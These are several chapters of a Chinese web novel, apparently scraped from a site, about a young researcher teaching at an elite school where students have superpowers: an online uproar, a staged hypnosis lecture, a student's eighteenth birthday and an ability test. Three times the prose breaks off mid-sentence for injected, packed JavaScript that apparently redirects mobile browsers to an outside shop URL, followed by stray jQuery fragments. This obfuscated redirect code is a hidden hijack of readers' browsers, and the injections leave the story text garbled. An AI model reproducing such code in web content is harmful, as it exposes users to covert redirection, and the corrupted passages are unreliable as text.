镜中五官高低起伏,脸部肌肉微妙扭拧,定格在一张被他记得很深的脸。 柳叶眼,远山眉,鼻骨挺直如玉,薄唇微翘,似迎风轻颤的扶桑花。 仿得大差不差,然而是尊赝品,似是而非,谈不上有多像。 想必是理解不够深,错过了什么关键的细节。 “……怎么。”怕惊动了什么似的,桑士桢凑近,用自己的声音,轻点了点镜中的人,“你还真的,一点儿异能都没有啊。” 周六晚八,黄金时段中的黄金时间。火热出炉的访谈节目推送到全平台流媒体。启播时间将将过半,数家社媒门户警报连连,招呼技术运营品牌等,今晚做好加班战斗准备。 「问:有没有晟华的学生老师来说说,这节目讲的是不是真的啊?」 城市论坛上率先涌出东璞本地家长的关心询问。升学季在即,要给孩子报哪个学校什么志愿,是初三家长们最关心的事情。 「晟华总还是可以的,不要听外面乱说吧」 「什么节目啊」 「看不懂,楼下来」 几楼不明状况的发言以后,帖子被几度顶起,视听渐明。 「匿名用户:不建议。我以一个过来人家长的身份告诉你们,晟华不是一个好的选择,除非你们家条件真的很好很好……那就非常适合,当我没说。」 「晟华不行吧,听说学生风气不好,捧高踩低的」 「别的不说,全套校服几万块就有的受了」 「节目上他们自己学生都说了[截图][截图][截图],平时学业和社交压力都很大。好好上个学哪来的社交压力?除非是……可别是我想的那样吧」 「楼上是想说霸凌吧,我觉得也是。看几个小孩子急得,就差把这俩字说出口了。没提应该是校方封口不让讲,哎,为人师表,还没几个小孩子和顾问老师有情有义」 「小号9527:垃圾学校」 「或许有人知道他们学校招聘也出过事吗,候选人面试走到最后一轮,因为没有异能被拒绝了。既然只招高功能群体,那一开始就别喊人去鱼塘泡池子啊」 「这合法吗,不是早就说过,不能因为异能差别对待搞歧视」 「笑死,合不合法重要吗,投诉看看你们就知道了」 话到这里,帖子不多久就没了。然而另几个改头换面的新帖很快转生,择校、招聘、校内风气等几个话题各占一楼,热度飞速飘红。 社媒平台上的热搜就更丰富多彩些。关于晟华的讨论以外,林昭和单荔也比肩登上热词榜。 「我天这不是上次飞身救人的那个小哥哥吗!想不到这里又见面了!我宣布我们就是有缘!」 「不是吧,中科院研究员?……博士毕业了还只有二十二!!?」 「硬控我半小时家人们谁懂啊,说话谈吐,重要的是那个眼神,好温柔……」 「几个学生颜值也不低,尤其那个能随时换发型的女生,简直超过很多小偶像了。啊,这该不是什么新型抢生源广告吧!?诡计多端的商战……」 关键词一出,很快就有人在线科普晟华水深,将平台上热度逐渐成型的节目分析帖和晟华八卦合集转发过来。 原本只关注高颜值和高智商的路人,分散的注意力有意无意,被引导往同一个方向。 “……救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「我也希望有人能对我说一句:‘你受委屈了,你辛苦了,你已经做得很好了。’可是,没人关心这些,大家只会说:‘你为什么不努力?为什么别人能做到,你却不行?’」 「我理解这种感受。好几次我都想说算了吧,我这样的废物垃圾,活着也没有意义……但我一直没有行动,我还是怕父母伤心。」 「不需要帮我解决什么具体的问题。我只是需要一点坚持下去的勇气……如果有人也能像他们一样,明知前面是深渊也愿意二话不说陪着我一起跳下去,那我觉得就没有什么事是不能面对的吧。」 千言万语,百川汇流,最终聚拢向一个交点。 晟华中学到底发生了什么? 这位学生又遭遇了什么,才走到差点轻生的地步? 周末二日,舆论蒸腾,发酵面团似地全面膨开。趁热打铁,林昭着手准备周一要面向全校高功能学生开设的特别讲座。这次要在所有学生面前,拆除掉高曜的光环滤镜。 新消息闪啊闪,邀功似地亮起。 桑士桢:「搞定。整了几个抓数据流的小眼睛,有舆情变动,随时同步到你那儿。」 林昭:「看了」 林昭:「挺好的。」 桑士桢:「小狗摇尾.jpg」 桑士桢:「那你」 桑士桢:「会给我奖励吗?」 32. 悲欢 翌日午后,晟华校园礼堂拉起大红横幅,蛮横占走两堂主课时间。学生们三两成群,嬉笑着结伴前往。 礼堂舞台的探照灯比演播厅来得柔和许多,林昭落座在演讲台后,简单介绍了异能的几大分型、特征,如何用双盲法自行检查“扳机”数量和存在形式,以及合理探索能力上限的方式。 “目前广为人知的一个共识,人体高功能的表征形态与扳机构成方式,与松果体活跃方式及潜意识的流动息息相关。因此,通过专门的思维活动训练,深挖、拓展自身能力,是科学可行的。” “然而,常常有人挪用这一理论,夸大其词。他们声称人类的大脑远远未能被完全开发,只要能够激活智力潜能,我们就能够打破扳机束缚,彻底释放异能。……” “很多文艺作品以这一美好幻想为基础,设计出充满想象力的情节;也有许多培训机构巧立名目,开设专项课程大肆敛财。什么‘人类大脑只利用了5%!’,‘从无到有,从有到做大做强!’……” 礼堂里爆出一阵会心的笑声。东国家长难逃刻板印象,一生要强一生卷孩子,今天坐在台下的,十个里倒有九个都被押着上过类似的全脑强化班或心灵冥想课,想及种种荒谬之处,没人能忍得住不笑。 “不能武断地说他们全都错了——兴许的确有人掌握到了我们尚未了解的关键钥匙。”林昭等到所有人都笑够了,慢条斯理往下说,“然而以目前公开可查的记录来看,我几乎可以百分百确定地说,这就是一群利欲熏心、毫无道德底线的骗子。” 场中寂了片刻。“就是说啊!但我妈就是不听我的……”大声抱怨着的学生自觉失语,仓皇缩了缩脖子。 “按照惯例,他们总会先对外展示自己奇异的力量,其中倒也有不少人是真正的异能者——速记,观想,隔空识物,意念读取,瞬间移动。但到了教学启蒙环节,他们使用浅度催眠、心理暗示、安慰剂疗法和煤气灯效应甚至是拙劣的魔术演出代替真正的超能力,好让学员们相信自己的灵智正在打开,任他们狠狠收割一大笔学费。” “然而,从前面的讨论中我们可知,异能是否能被激活,关键因素是一个人的深层潜意识认知。它关联到个体生命历程的底层创伤记忆和重大情感事件,几无可能在宏观世界被扭转。” “人是一种凭借着本能经验、生活在过去的惯性生物。改变熬夜赖床的坏习惯尚且如此困难,想要定向改变潜意识和心灵深处的认知,唤醒沉睡的异能,这又要从何谈起呢?” “相信自己的判断。谁宣扬异能可通过训练唤醒激活,谁就是不折不扣的骗子。” 毫无犹疑的语气,引发台下学生们一阵惶惑私语。 “所以,我需要一位助手,到台上协助我完成一次催眠演示实验。” 自演讲台后方起身,林昭手中,多出了一把似曾相识的银色火机。 ——咔哒。 咔哒。咔哒。 指尖擦过砂轮,一下,又一下。微弱的火星子以某种固定的节奏,迸出,又消弭。 “通过演示实验,你们能够理解到催眠技巧和心理控制的基本原则。今后再遇到骗子,想必就能够有所防备;也可以用这招说服父母,让他们别再胡乱报什么课外活动班。” 林昭垂眼扫过台下雀跃人群,唇边低低弯起个笑:“谁来?” “喊我喊我!!!”一早抢占到前排位置的学生们踊跃举手。“抽签吧,”有人提出公允的提议,“这样大家都有机会。” “什么啊。”礼堂山顶,尤侃懒散笑了声,“老高你那火机不是限定款吗全球只有十把的,怎么他也有?山寨的?” 高曜拿眼觑着正前方舞台,抽了抽嘴角,没说话。 大屏幕上座位编号飞速滚动,数秒钟后逐渐放慢。 “无聊,”高曜冷嗤,“耍猴呢。” 他蹬起来挥挥手,拨开人要走。屏幕上抽签画面定格,山顶观众席一束聚光凭空打下,照亮他鹤立鸡群,还有一脸阴鸷不明神色。 “噢,这位同学,运气很不错。”林昭唇边笑意渐深,“上来吧?” 旁人眼里清秀温文的神气,到了高曜眼中,却似瞧见了不可捉摸的恶魔。 他表情未变,暗地里悄然咬紧牙根。 区区一个公务员,不能遵守本分,好好完成自己的工作,竟然还多管闲事当起正义使者来了。 得想个办法,让他吃不了兜着走才行。 “去呗,老高。”身旁的人老不正经地怂恿他,“给他点颜色看看。” “用你的能力反向控他,那就好玩了。” “别说,早看他不顺眼了。不就一实习老师,天天跟那呼风唤雨,还真拿自己当个人物了。肥猪仔那事被他搞那么大,我老爸都刁难我了,烦。” 回去得跟家里说一声,让把这人给撤了…… 这样想着,高曜凝固着一张脸,磨牙道:“傻坐着干嘛,还不赶紧让开?” “现在心情怎么样,会害怕吗?”猩红幕布下,林昭邀高曜坐进台中一张软椅里,“你看起来,有点儿紧张。” “老师不觉得紧张?”高曜口吻克制,“失败了怎么办?多难看。” “催眠三要素。”耳麦放大了林昭平静的声音,还有他手中敲击不断的砂轮打火声,“视觉、听觉、触觉。” “注意观察周围的环境。不一定是传统认知中的水晶球、钟摆或笔尖。可能是某种特殊的白噪音,可能是某种特殊的流动光线,也可能是枯燥规则的节奏声……” “当然,也可能是我手中这一把特殊的火机。” “你处在舒适放松的环境吗?是否有人在和你对话,用某种方式缓解了你长久以来的焦虑、或是向你提供了你需要的东西?” “两个先决条件,让催眠更容易成立。” “对方的身份是否凌驾于你,你是否不讲缘由崇拜着他?” “对方是否调动了你的情绪,绕过了你的理性防御机制?” 砂轮响声不绝,舞台灯光轮转。彷如某种魔法笼罩,礼堂中的学生们不觉安静下来,专注听着音响中飘出的每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701093|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个字。 高曜瞥了眼台下,忽然起了种不妙的预感。他低声警告对面:“催眠师需要执照才能合法执业。我会投诉你!” “最后,最重要的一点。”林昭轻笑一声,无所谓道,“如果你遭遇了催眠,醒来以后,请千万不要怪责自己。” “容易陷入他人心理控制的人,往往具备通常被我们认为更美好、更宝贵的那些品质。他们更有同理心,共情能力更强,更关注别人的感受和情绪。……他们是我们身边的好同学、潜在的好伙伴,也是那些遇到困难时,会向你伸出援手的人。” 一蓬火光擦出,照亮高曜阴霾面庞。橙黄火光摇曳,林昭俯身,黑眸幽深,直直刺穿了他。 火光随着他的气息舞动,鬼魅般飘忽:“……想做个好学生,配合我吗?” …… 高曜不知自己怎么走下的舞台。他大脑空白,扑涌而上的空虚和悔恨堵塞了他每一根反射神经。为什么?为什么轻而易举受了骗上了当!?他根本不会什么催眠!!!都是假的——惺惺作态,误导他,让他以为台下的学生中了他的群体催眠…… 他妈的混账东西,这要怎么办呢!?上台时几步就到的礼堂走道,这会儿走起来却显得过分漫长。人群里他先看到数张茫茫然的脸庞,在和他对上眼的一瞬间触电似地转开了视线。该死的! 他报复性将人粗暴挤开,重重落回到自己的座位上。耳畔沉寂莫名,没人动弹,也没人和他搭话。 像被折叠四肢塞进狭窄的壳子,视线收窄至眼前,明亮喧杂的世界离他远去了。 前排一只边角座位里,顾昐紧攥着拳,竭力压着声音,遏止住身体控不住的抽动。 身后,不知谁拍了拍他,接龙递过来一包没开封的抽纸。 “——奖励啊。”散场后,几个学生留下来帮忙清场,林昭在忙着预约抢号一家车敏火线推荐过来的网红人气火锅店,“晚自修不上了,一起吃火锅如何?我请。” 单荔第一个尖叫:“不要啊!我从来不吃火锅的,我妈说那都是垃圾食物,很烂的……而且吃辣会长痘!我拒绝!” 桑士桢也很不服:“这也算奖励?” “我喜欢火锅。”王觊乐呵呵道,“烧烤也可以。你们怎么,不喜欢吃肉?” 于见霜:“二比一,否。我听大家的。” 林昭订好张大桌,放下手机,眼神清白:“顾昐都说来,就你们不来?” 三人没了气势:“……来,来。” 礼堂门推开,顾昐的身影投在倾斜的甬道上。 “我也来帮忙吧。” 人类的悲欢并不相通。这边几个人得了特赦,早早离校一窝跑去火锅店大快朵颐,那边厢高曜平生第一回,字斟句酌,琢磨起了一会儿该怎么招呼人去吃晚饭。 思来想去,他径直走到人桌前,叩了叩桌板:“到点了,走,食堂。” 尤侃扯起眼皮看他,动作前后足足花费了三秒钟之久。 “你个骗子。”他一刀划清界限,把自己摘了个干净。 33. 偶尔相通 “你们几个怎么光顾着吃。”单荔很快撂了筷子,托着腮叹气,“都要被退学了,能有点紧张感不。” 王觊从碗里抬头:“谁?” 于见霜:“啊?” “顾昐和老桑啊。”单荔看他俩,“一个作弊,一个在考场外给人递答案。是吧,就你俩。我查过往年的案例了,作弊开除,枪手罪加一等。林老师来晟华到底来做什么的你们都忘了?完蛋啦——” 桑士桢闷着声,在和锅里一块挟不起来的虾滑搏斗。半晌,他放弃,换了个勺子一下舀起:“这不我们应得的么?都知道的事,没必要再多说几次吧。” 气氛凝滞了几秒。顾昐动作慢了慢,好似没听到似的继续在吃。桑士桢吞了那块虾滑,撞开椅子起来:“我拿个水果去。你们要什么?” 又扭过脸问林昭:“你要吗?” “都拿点吧。”林昭看了他两秒,加重了语气,“多拿点。” 看着人走了,林昭状似不经心地开口:“顾昐不太可能会有事,顶多就是夏令营的访学名额被取消。单荔,有时间你准备下材料。顾昐去不成,晟华的位置多半要让给别人,我找所长说一声,她给你出推荐信。” “哇靠!”几个人都惊住了。705所长林君成什么角色,那可能是高功能科学的行业奠基人,十数项专利百来篇SCI的神。她出推荐信,这分量可以说是爆杀。 “这是不是有点太……”单荔神色为难,只觉得心虚。林昭提醒她:“你的头发——那天早晨,不是突然变长了吗?” 单荔“啊”了一声。林昭道:“记录下来的能力烈度数据,确实证明了潜意识对能力有封锁钳制作用。这能开启‘扳机’研究中一个重要的新方向,如果你想在论文上挂个名字加学分,也不是不可以……” 这可不敢当,单荔赶紧推辞。一直专注细嚼慢咽的顾昐,这会儿突然插话:“我准备举报高曜。” 几个人一愣,目光齐刷刷转向他。顾昐埋着头,眼睛只盯着沸腾的汤锅:“咱们就摊开来直接点吧。是这样,因为我家里的缘故,事情不会弄得太难看。我最多挨个处分不至于被开除,真被开了也没事,估计会拿点钱送我出国。会被退学的……大概只有桑士桢吧。” “那也是……”于见霜轻声。她想说这也是很正常的,但还是克制住没出口。 “我手里有一些证据,举报材料……需要你们帮我一起看看。”顾昐小声道,“怎么样也得多弄几个人一块儿上不了学,就当陪陪老桑。” 火锅一直吃到店家快打烊,汤底要烧干了才罢休。单荔和顾昐都有车来接,另两个住相反方向,分头打车走了。只余下两个没爹没妈的,在门口送别所有人,顺便散火锅味儿。 桑士桢低头看了眼时间:“回学校?” “……不吧。”送走几个学生,林昭的注意力转去看手机。上节目当网红的确是爽了,接踵而来的是该怎么和超管局解释的问题。师妹师弟们刚发了双周周报过来,也得过目看一遍。 “你回吧。”林昭抬头,准备送走最后一个。桑士桢却从街边扯出辆高高的自行车,拍了拍车后座:“回家?我载你啊。” 一时没忍住,林昭直接笑了出来。 “差不多得了啊。”桑士桢的表情挺认真,但看在林昭眼里,就觉得他是小孩子胡闹,“赶紧回去。你家那么远,大半夜就别整活了。” 桑士桢板着个脸:“不和你开玩笑。” “你不是还有工作要处理?”他随手找了个离谱的借口,“那么忙,回去路上耍手机撞到电线杆怎么办,坐车没留心坐过站怎么办,那不就……得不偿失吗。” 看来真不是开玩笑。林昭叹口气,正色道:“别的不说,你这车装俩人我都怕给它压坏了。你自己觉得合适吗?” “我载过我奶奶啊,没坏……”桑士桢焉了三分,小声嘀咕一句。火锅店打烊,两个员工出来拉卷闸门。林昭扭回头一眼,催促桑士桢:“快走,挡完花店挡火锅店你很能耐吗。赶快回家,明天还得上课呢。” “我就爱站这儿不行吗?我是一个闪亮的路障。”桑士桢忿忿然反击,“路障上什么课啊,我学都要上不成了。再说家里又没人……我回去干嘛?” 林昭默了片刻,温声道:“下次吧。” “以后你赚更多钱了,买个好的车接送奶奶,那不更好吗。” 下次算哪次?桑士桢只觉胡乱出拳,打上的全是棉花,什么都被林昭避开了去,反而更赌上了气。 夜风拂过,愚蠢中又透着几分清澈,轻柔拨乱了林昭细而软的发,也让他的神情显出了说不清的暧昧。他好似看透了面前人所有的想法,说出口的没说出口的,甚至是他自己未能察觉的,也被他读到了。 也好像什么都不在意,只是纯然站在安全界限以外,耐心等着误闯进来的人自己走开。 “……再过三十分钟。”像是非要赢这一局似的,桑士桢不服气地瞪他,潦草话语不经大脑脱口而出,“是我十八岁生日。” “想和你多待一会儿,这难道很过分?” 脑中嗡然一声,林昭整个人懵住了。半晌他回神,用力眨了眨眼,目光微闪,下意识避开了对方逼人视线。 桑士桢登时后悔得不行。他干笑两声,不尴不尬往后几步:“没,你听错了,我什么都没说。你说得对,我特么是有病吧……我神经病。” 林昭往路两旁看看,稍有些无措地捏了捏自己发凉的手指,做了个深呼吸。 “……还有,二十八分钟。” “哈?”桑士桢简直怀疑自己的耳朵,“你说啥???” “改主意了,”林昭绕过他往车后头走,衡量了眼高度,腿一跨直接坐了上去,“走不走?” 桑士桢忽然注意到,今晚的月亮白得发光,白得像黑乎乎的窄屋子里,天花板上唯一一盏大瓦数的白炽灯泡。 林昭黑而亮的瞳孔中,就倒映着这样一轮澄澈的月光。 死到临头,桑士桢反生出了一丝怯意。他反复告诫自己不能在这里退缩,不然这也太没出息了吧! 车轮毂骨碌碌地转起来。载着两个人的重量,桑士桢很是谨慎,不敢骑得太快。林昭刻意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701094|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地和他保持了一点距离,他抓座椅下方的钢筋,动作憋扭,一会儿觉得费劲,又伸手去扯桑士桢的衣服。 衬衫校服被他拉得往后张紧,勒出少年清瘦紧绷的腰腹线条。桑士桢绷不住了,哭笑不得道:“怎么你还脱我衣服呢。” 又道:“其实可以……就是那个,抓住我……” “滚。”林昭很不给面子。 语毕,他自觉失言,撇唇自嘲笑了声。 笑意轻飘飘地,挠刮在桑士桢耳边。 他不由起了疑心。这是在笑什么呢?笑他小孩子气?做什么都顾忌这顾忌那的? 怀着一腔生涩的蛮勇,桑士桢松开一边把手,反手扣住林昭手腕,带着点粗暴的意味,飞快将他的手引向自己腰间,比划了下。 “好吧,好吧。”林昭任他动作着,没把手抽回来。轻悄悄的叹息自他齿间溢散,须臾消散在风里。 曲起指骨,他攥紧少年腰际的白衫。触手温热,裁剪优良的高支棉布料绷紧,勾勒出一副平直肩线同清隽阔展的脊背。 十七岁……距离十八岁仅余下一步之遥。定义得更精确些,只还有那么几分钟。 从这个视角看过去,林昭想也许桑士桢已不能再算是个孩子了。 他想下一次,应该要找个妥善的机会好好告诉桑士桢,若他喜欢遵循老派约会守则,自行车的后座,就该留给心仪的女生才对。 但今天…… 这是个月白天黑的夜晚。时间已太晚了,沿街的店铺挨家挨户都打了烊。丛丛树影摇曳,不知谁家的留声机咝咝转着,唱着花儿开在春风里。 有什么烦恼忧愁,都留待明日再说吧。 林昭抬头,漫天星河璀璨。 鱼珠巷口,林昭跳下车,意有所指:“刚下了一单委托,是给你的生日礼物。要不要看看?” 桑士桢没下车。他狐疑打量一眼林昭,单腿支着地,不情不愿晃开手机。 「老桑,生日快乐!你超牛的!以后你就算不读书,干什么肯定都能行!!!PS:真的走投无路可以来我爸银行上班。——单荔」 「老桑,生日快乐。你怎么过生日都不说一声啊,早知道晚上拿个蛋糕了。明天记得请客!」 「下半年的全国赛你不用担心,教练给我说了,没变化。就骂了我几句,嘿。——王觊」 「老大生日快乐。记得写作业。——于见霜。」 「其实我觉得很对不起你。要不是我一直说可以加钱,一直缠着你要你帮我的忙……事情可能也不会变成现在这样。」 「林老师和我说,你找了我一晚上,还撞断了两根肋骨。我……我觉得很过意不去。你是个好人。对不起,对不起,我会想办法的。」 「祝你生日快乐。要一直好好的。——顾昐」 桑士桢倏然抬头:“喂,我是骨裂……” “生日快乐。”林昭道,“成年的感觉怎么样?” “不怎么样。”桑士桢坦诚道,“给我搞得有点想哭。” 他别过脸:“……就还觉得自己,有点傻逼。” 34. 雄竞 “你要对这个案子有什么别的想法,可以直说。”电话另一头,温准声音淡淡的,“我们这里,也没那么不好说话。” “呃……”没开灯的屋子里,飞碟凌空蹿上来,左右溜达,在林昭肩头抓抓挠挠。林昭拍了拍示意它暂时安静,坐下在床垫上弹了弹:“温科,这个事情,我可以解释的。” “几点了你解释?”温准还是那副油盐不进的口吻,“明天再说。” 林昭揣摩了下,觉得好说话就是不好说话,明天再说,估计就是今天一定要讲清楚。他大胆开麦:“能帮我占个位,约个能力检测吗。按照风险级标准来,最全面的那种。” 温准没说话,也没掐线。这是个好兆头,林昭赶忙又道:“越快越好,明天更好。……拖久了,对你们的影响也不好。” “你还关心这呢。”温准微哂,语气一丝嘲讽,“你这手机接上信号还挺不容易。还藏了什么?我一并听了。” 自救人新闻见报后,超管局就被两边家长点爆了,压力给到了温准这边。林昭先斩后奏一顿操作,对着他一路装死到这会儿,确实问心有愧,但,不多。 林昭:“就那个……‘黑翼联盟’。以前听你提起过,说想找他们聊聊。现在还有这需求吗?” “……确定弄清楚了?”温准皱起眉头,两指揪着烟屁股反扭在玻璃缸里头,重重转了两下,“这种事儿,一点儿不能错的知道吗。” 林昭说的这个“黑翼联盟”,是大概一年前现身在网路上的匿名组织。整个网站就孤零零一个留言板页面,凭心情承接一些找猫、抓出轨之类的委托,收取小额的费用,据说主要用于维持服务器的日常运转。 超能力热兴起后,这种一时上脑凑堆搞起来的民间正义组织不少,黑翼联盟是其中普通一个,起初没引起什么人关注。 落入超管局的视野,是因年初时陆续有几个滥用异能开课外班行骗的跑去自首,问讯中说自己频频撞鬼受不了才来投案,官方顺藤摸瓜良久,才定位到黑翼联盟这个网站。 综合各种信息,超管局推断这个网站管理人很可能就在东璞港。但网站服务器架设在境外,保密手段也无懈可击,监视了一段时间,见人没做坏事,超管局睁一眼闭一眼地由他去了。 但,始终都存了招安收编的心。 大趋势上看,觉醒异能的市民数量一直在稳步增加,今年以来又呈现出一个小爆发势头。犯罪事件虽还能压制在低水平范围,但已逐渐表现出弱关联、无逻辑、手法难以解释的特点。 比如上一回,云缦嘉华酒店发生的美术品盗窃案—— 依据蜘蛛人信箱中一封预测地质事故的邮件,超管局定位到了某位地震局的普通员工。但这名员工和蜘蛛人并不认识,生活中也没有交集。甚至于怎么发出这封邮件的,他都没有一点记忆。 手法无从考证,动机根本不存在。好不容易摸到“共犯”,幕后是谁在操作,却又无迹可寻。 要对付异能者,就得靠更多的异能者——这一观点在实践中,逐步地被普遍接受。超管局需要在民间插下眼睛,搭建起能调动异能者力量的网络。“黑翼联盟”这样悄然散布在人群当中,仿佛传说中的朝阳区民众一样的民间情报组织,就成了他们首先想要发展的群体。 电话掐线,林昭放下手机,片刻出神。 荧荧亮着的屏幕上,最近不久下载的“哔哩打人”APP赫然在列。黑底图标,上头以白色涂鸦笔刷挥了个狂野的“X”。 拿远一看,可不就是两片展开的翅膀。 唯恐别人察觉不到似的。 “——我把我自己送给你。” 鱼珠巷口,生着一株参天的古槐。夜色流离,繁茂枝叶间,白花结蕊垂绦。 “我跟你去超管局。”浓荫树下,桑士桢言之凿凿,“就当还你的礼物。不许说不要。” “其实,也不是没有别的办法……”林昭一句话没说完,桑士桢胡搅蛮缠打断了他:“不要说不要。你就不乐意听我说话是不?” 林昭:“。”这也行? 他让步:“确实想清楚了吗。” 发现哔哩打人可能就是黑翼联盟的一个分支版本以后,要不要把桑士桢上交给超管局,就是一个难以做出决定的问题了。 所以林昭只是拖时间。 他希望给桑士桢留出空间。怎样对做过的事负起责任,如何正视自己的能力,如何管理、保护这一个信任着他的小团队,他需要自己思考答案。 “你放心。”桑士桢很聪明地抓到了窍门,“我过生日,我说了算。” 同一时刻,大洋彼岸骄阳正好。 草坪冷餐会席间,身材魁伟、须发皆白的老校长得了秘书附耳几句,脸色骤变,匆匆转至无人处查阅手机。 #晟华坠楼学生疑长期遭受校园欺凌 #普通人请走开!新型就业歧视或已成招聘潜规则? #教师联名检举腐败问题,名门私校,谁在“打伞”? 一连串有意截取下来的新闻标题,言辞怵目撞入视野。往下是校委书记写来的邮件正文,他建议尽快在晟华校内针对人事、校务、财务三大模块进行自检,以良好面貌,迎接必然会到来的督察组专项检查。 文采飞扬,洋洋得意,显是得了势,要挟天威,蹿爬到校长和董事会头上去了! 老校长翻覆将邮件看了几遍,沉着脸拨通一个ID,画面中出现校办总秘,AMI秘书那张美丽端方的脸。 “你脑子坏了??”他汹汹问责,“舆情问题这么严重,怎么不尽早报告处理?” AMI歪了歪头,微笑:“很抱歉,您没有权限访问。请切换到更高权限的账号,重新尝试一次……” “你……”老校长倏然色变,瞪着一双铜铃眼操作屏幕,皱皮手指微微颤抖。 自我校准,失败。重启,失败。关机,失败。 一键返回出厂设置…… 成功。 老校长喘了口气,等着程序自我复原。 美丽秘书微小均匀的呼吸动作突然僵住。她瞪着一双圆滚滚乌珠,死板的笑容咧得更大,虹膜灯频闪几秒,脑袋歪成一个不可思议的角度。 咕咚。 漂亮的头颅切开掉落,露出一截由胶皮、电线管束和纳米碳纤维管构成的脖颈切面。 翌晨,林昭彻底睡过了头。他到晟华时,学生们已按部就班在上第二堂课。 他静悄悄飘进办公室,桌前端端正正,已被人摆好了一块覆盆子鲜奶油切片蛋糕。 握着蛋糕,林昭将视线 () { $(''.inform'').remove(); $(''#content'').append('' 投向门边。 昨天走后,他确定自己给门落锁了没有错。 这都能溜得进来?是赶早又变成小保安吴亚瑟,借用了他“一贴通行”的能力? 林昭亲眼见过吴亚瑟本人怎样开门,知道他的能力有十三道扳机钳制,实际应用复杂,且极其丢脸。课间教务处人来人往,难道桑士桢还能在众目睽睽下手舞足蹈,咏唱数分钟而不被发现? 最近天暖起来,鲜奶油化得不成形,沿着蛋糕裙边缓慢地淌。林昭按了按因睡眠不足有些发晕的头,暂时放弃思考,叉住一颗树莓送进口中。 午后,林昭陪同桑士桢去超管局接受能力测试。首先是样本采集,而后是一系列的边界测试和生理活动数据监测。基本套餐完成后,工作人员又临时追加了数项神经方面的检查项目。 “镜像神经元细胞超限发展。”观察室里,数据即时反馈回来,“扳机之一是镜子,或是一切能照出自身倒影的东西。” “扳机之二是模仿行为。模仿目标对象至少三组动作,对目标的了解程度越高,模仿得越相似,则拟态下外观就越接近。若能获取对方的部分身体组织与自身体|液融合,则短期内,连虹膜、指纹等身份特征都能一并模仿。” “体|液。”林昭表情抽了抽,“听着很古怪。不会引发排异反应吗?” “确实有监测到轻微热度,还有局部组织炎症……但受试者的自体免疫系统非常强壮,它精准攻击排异物,直到将其代谢掉。”工作人员埋头啪啪一阵录入数据,仿佛见到什么奇珍异兽似的两眼放光,“这个能力非常罕见,表现也相当复杂。条件允许的话,我是建议做一个两周的观察,后续视情况再做几次定期回访。” “只在书上看到过拟态能力者,没想到今天见着活的了。”观察室的门开开关关,一刻不歇,其他科室闲着的检测员都挤过来开眼界,“怎么说,这小子还挺厉害哈?单只是改变外形的话,他几乎没有衰减——” “但扳机也算是有三四个,用起来有门槛,遗憾。综评怎么说?这烈度不能算高吧……” “风险级。”温准哐当一下推门进来,“都在这干嘛呢?” 人群哗啦一声作鸟兽散。林昭起来,目送着看热闹的人都走了,用尽量和缓的语气商量道:“人你也见过了,做完测试我带他走,可以吧。晟华那边还有些事情要处理,我们约定一个时间……” 鹰隼似的目光透过平光镜片,居高临下,不问缘由锁住了林昭。 ——这是又在“看”他了。 林昭只觉得被冒犯。他挂下脸抿了唇,不说话了。 从以前起,林昭就顶烦温准看人下菜的冷血态度,好像人在他这都分三六九等,有利于他的他给安排得服服帖帖,无关人等,就全当看不到。 705平时和调查一科配合得不错,温准对他们处处关照,也通融了许多便利。要说不感激,那也是假的。 但,这份好意也不过是公务打点、礼尚往来。一旦意见相左,立刻就能将人当嫌疑犯看待。 林昭自问和温准不是一路人。 在这几秒令人窒息的沉默中,他再次清晰地认知到这个事实。 片刻,温准收了视线。 “你心软了?”他冷冷翘高了半边唇角,“难得。” 35.是男人 单面墙另一侧,桑士桢已进行到最后一步,埋头在填三份长长长的量表。表格收集一些生活和行为习惯的基本信息,主要关注受试者的人格气质和精神健康状况。 桑士桢将平板划得飞快,几乎可说是在胡乱作答。快结束时,他动作突然顿住。 余光瞥到他异常情状,林昭去找返回量表答案的那一块屏幕。 Q:您从什么时候起发现自己拥有特殊能力? 三年、一年、半年、还是最近一个月内? 答案给出四个不同的时间范围。桑士桢凝眸望了它们一会儿,点选了末尾的“其他”。 林昭微睁双眼,目不转睛看他落下两个字。 ——六岁。 “爆发前九年……”林昭自语道,“果然这不是孤例。” 从前在生物学界,孕育出多彩门类无脊椎生物的寒武纪大爆发曾困扰进化论学者们良久,直到更早的埃迪卡拉动物群化石被发现,人们才能够去相信,这并非上帝信手玩弄的魔术,而是一次适应辐射和光的演化事件。 类似的,自三年前地磁爆发后,异能者大范围地涌现。但起点究竟在哪?学界始终对此保持开放态度。 各文明的历史中不乏通灵者和掌握巫术的祭司群体存在,他们是否就是最早的高功能人士? 寒武纪爆发的整个过程,地质课本上的一页,实际前后绵延长达两千多万年。我们现在经历的几千年时间,或者也是人类的另一次进化之旅。只是近几年来到一次鲜明的上升拐点,才被人们留意到—— 